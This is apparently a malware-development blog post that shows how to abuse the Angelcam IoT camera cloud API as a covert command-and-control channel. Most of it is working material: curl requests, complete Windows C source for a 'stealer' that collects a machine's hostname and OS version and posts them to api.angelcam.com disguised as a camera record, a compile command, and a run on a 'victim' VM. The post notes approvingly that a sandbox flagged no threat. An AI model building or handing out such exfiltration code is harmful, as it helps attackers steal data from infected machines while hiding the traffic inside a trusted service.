3 minute read

Hello, cybersecurity enthusiasts and white hackers!

malware

Today, we will examine the Angelcam HTTP API, frequently utilized for IoT Camera Management, which can also be exploited by attackers for malware command and control connection.

Abusing the Angelcam API is an effective strategy for hiding criminal activities during attacks, particularly in Red Team Operations against organizations that emphasize IoT devices and surveillance cameras.

practical example

As usual, I’ll demonstrate a simple stealer PoC that sends system information from an infected Windows machine via Angelcam API.

First of all, create Angelcam account and generate personal API token:

malware

malware

malware

malware

According to the documentation for using Angelcam’s RESTful API we need to use token in every request like this:

curl -H "Authorization: PersonalAccessToken TOKEN" -X GET "https://api.angelcam.com/v1/me/"

malware

malware

Let’s try to create new camera via API:

curl -X POST "https://api.angelcam.com/v1/cameras/" -H "Accept: application/json" -H "Content-Type: application/json" -H "Authorization: PersonalAccessToken TOKEN" 
  -d '{
    "name": "My brand new MEOW camera", 
    "type": "h264", "connection_type",
    "connection_type": "direct",
    "url": "rtsp://username:password@175.36.248.73:554/live.sdp"
  }'

malware

malware

Request a paginated list of cameras for the current user again:

curl -H "Authorization: PersonalAccessToken TOKEN" -X GET "https://api.angelcam.com/v1/cameras/"

malware

malware

So for sending info to API we need something like this:

// Angelcam personal access token
#define API_KEY "5761d5ebfc1c58d0f3bd6989911074a45a111efe"
 
int sendToAngelcam(const char* name) {
  HINTERNET hSession = WinHttpOpen(L"MeowMeowAgent", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
                        WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
  if (!hSession) return 1;
 
  HINTERNET hConnect = WinHttpConnect(hSession, L"api.angelcam.com",
                          INTERNET_DEFAULT_HTTPS_PORT, 0);
  if (!hConnect) {
    WinHttpCloseHandle(hSession);
    return 1;
  }
 
  HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"POST", L"/v1/cameras/",
                             NULL, WINHTTP_NO_REFERER,
                             WINHTTP_DEFAULT_ACCEPT_TYPES,
                             WINHTTP_FLAG_SECURE);
  if (!hRequest) {
    WinHttpCloseHandle(hConnect);
    WinHttpCloseHandle(hSession);
    return 1;
  }
 
  // construct the request body
  char json_body[1024];
  snprintf(json_body, sizeof(json_body), 
    "{\"name\": \"%s\", \"type\": \"h264\", \"connection_type\": \"direct\", \"url\": \"rtsp://127.0.0.1\"}",
    name);

  char authHeader[512];

  snprintf(authHeader, sizeof(authHeader), "Authorization: PersonalAccessToken %s", API_KEY);

  wchar_t wauthHeader[512];
  wchar_t wctypeHeader[] = L"Content-Type: application/json";
  MultiByteToWideChar(CP_ACP, 0, authHeader, -1, wauthHeader, 512);
 
  WinHttpAddRequestHeaders(hRequest, wauthHeader, -1, WINHTTP_ADDREQ_FLAG_ADD);
  WinHttpAddRequestHeaders(hRequest, wctypeHeader, -1, WINHTTP_ADDREQ_FLAG_ADD);
 
  WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, (LPVOID)json_body, strlen(json_body), strlen(json_body), 0);
  WinHttpReceiveResponse(hRequest, NULL);
 
  // get response (checking)
  WinHttpReceiveResponse(hRequest, NULL);

  DWORD bytesRead;
  char buffer[2048];
 
  while (WinHttpReadData(hRequest, buffer, sizeof(buffer) - 1, &bytesRead) && bytesRead > 0) {
    buffer[bytesRead] = '\0';
    printf("%s", buffer);
  }

  WinHttpCloseHandle(hRequest);
  WinHttpCloseHandle(hConnect);
  WinHttpCloseHandle(hSession);
 
  return 0;
}

Full source code looks like this (hack.c):

/*
 * hack_angelcam.c
 * sending systeminfo via legit cloud API (Angelcam PoC)
 * author: @cocomelonc
*/

#include <windows.h>
#include <iphlpapi.h>
#include <winhttp.h>
#include <stdio.h>
 
// Angelcam personal access token
#define API_KEY "5761d5ebfc1c58d0f3bd6989911074a45a111efe"
 
int sendToAngelcam(const char* name) {
  HINTERNET hSession = WinHttpOpen(L"MeowMeowAgent", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
                        WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
  if (!hSession) return 1;
 
  HINTERNET hConnect = WinHttpConnect(hSession, L"api.angelcam.com",
                          INTERNET_DEFAULT_HTTPS_PORT, 0);
  if (!hConnect) {
    WinHttpCloseHandle(hSession);
    return 1;
  }
 
  HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"POST", L"/v1/cameras/",
                             NULL, WINHTTP_NO_REFERER,
                             WINHTTP_DEFAULT_ACCEPT_TYPES,
                             WINHTTP_FLAG_SECURE);
  if (!hRequest) {
    WinHttpCloseHandle(hConnect);
    WinHttpCloseHandle(hSession);
    return 1;
  }
 
  // construct the request body
  char json_body[1024];
  snprintf(json_body, sizeof(json_body), 
    "{\"name\": \"%s\", \"type\": \"h264\", \"connection_type\": \"direct\", \"url\": \"rtsp://127.0.0.1\"}",
    name);

  char authHeader[512];

  snprintf(authHeader, sizeof(authHeader), "Authorization: PersonalAccessToken %s", API_KEY);

  wchar_t wauthHeader[512];
  wchar_t wctypeHeader[] = L"Content-Type: application/json";
  MultiByteToWideChar(CP_ACP, 0, authHeader, -1, wauthHeader, 512);
 
  WinHttpAddRequestHeaders(hRequest, wauthHeader, -1, WINHTTP_ADDREQ_FLAG_ADD);
  WinHttpAddRequestHeaders(hRequest, wctypeHeader, -1, WINHTTP_ADDREQ_FLAG_ADD);
 
  WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, (LPVOID)json_body, strlen(json_body), strlen(json_body), 0);
  WinHttpReceiveResponse(hRequest, NULL);
 
  // get response (checking)
  WinHttpReceiveResponse(hRequest, NULL);

  DWORD bytesRead;
  char buffer[2048];
 
  while (WinHttpReadData(hRequest, buffer, sizeof(buffer) - 1, &bytesRead) && bytesRead > 0) {
    buffer[bytesRead] = '\0';
    printf("%s", buffer);
  }

  WinHttpCloseHandle(hRequest);
  WinHttpCloseHandle(hConnect);
  WinHttpCloseHandle(hSession);
 
  return 0;
}
 
int main() {
  CHAR hostName[MAX_COMPUTERNAME_LENGTH + 1];
  DWORD size = sizeof(hostName) / sizeof(hostName[0]);
  GetComputerNameA(hostName, &size);
 
  OSVERSIONINFO osVersion;
  osVersion.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
  GetVersionEx(&osVersion);
 
  char buffer[512];
  snprintf(buffer, sizeof(buffer), "Host:%s OS:%d.%d.%d",
        hostName,
        osVersion.dwMajorVersion,
        osVersion.dwMinorVersion,
        osVersion.dwBuildNumber);

  int r = sendToAngelcam(buffer);
  if (r == 0) {
    printf("systeminfo successfully sent to Angelcam as 'camera'.\n");
  } else {
    printf("failed to send systeminfo to Angelcam.\n");
  }
 
  return 0;
}

demo

Let’s go to see everything in action. Compile it:

x86_64-w64-mingw32-g++ -O2 hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive -liphlpapi -lwinhttp

malware

Then, run it on victim’s Windows 10 x64 VM host:

.\hack.exe

malware

As you can see, everything worked as expected! “Camera” info with systeminfo message is created! =^..^=

Let’s analyze with ANY.RUN:

malware

malware

As you can see, ANY.RUN says that everything is ok: no threats detected.

https://app.any.run/tasks/1a93e76c-6236-4220-adad-fc8493e2cb0a

As I mention before, abusing Angelcam API for C2 or stealing logic is ideal for Red Team engagements / pentest in companies/clients with surveillance cameras.

Thanks to ANY.RUN for API!

ATT&CK MITRE: T1102
ANY.RUN
ANY.RUN: hack.exe
BitBucket API Stealer
Github API stealer
VirusTotal API stealer
Telegram Bot API stealer
source code in Github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine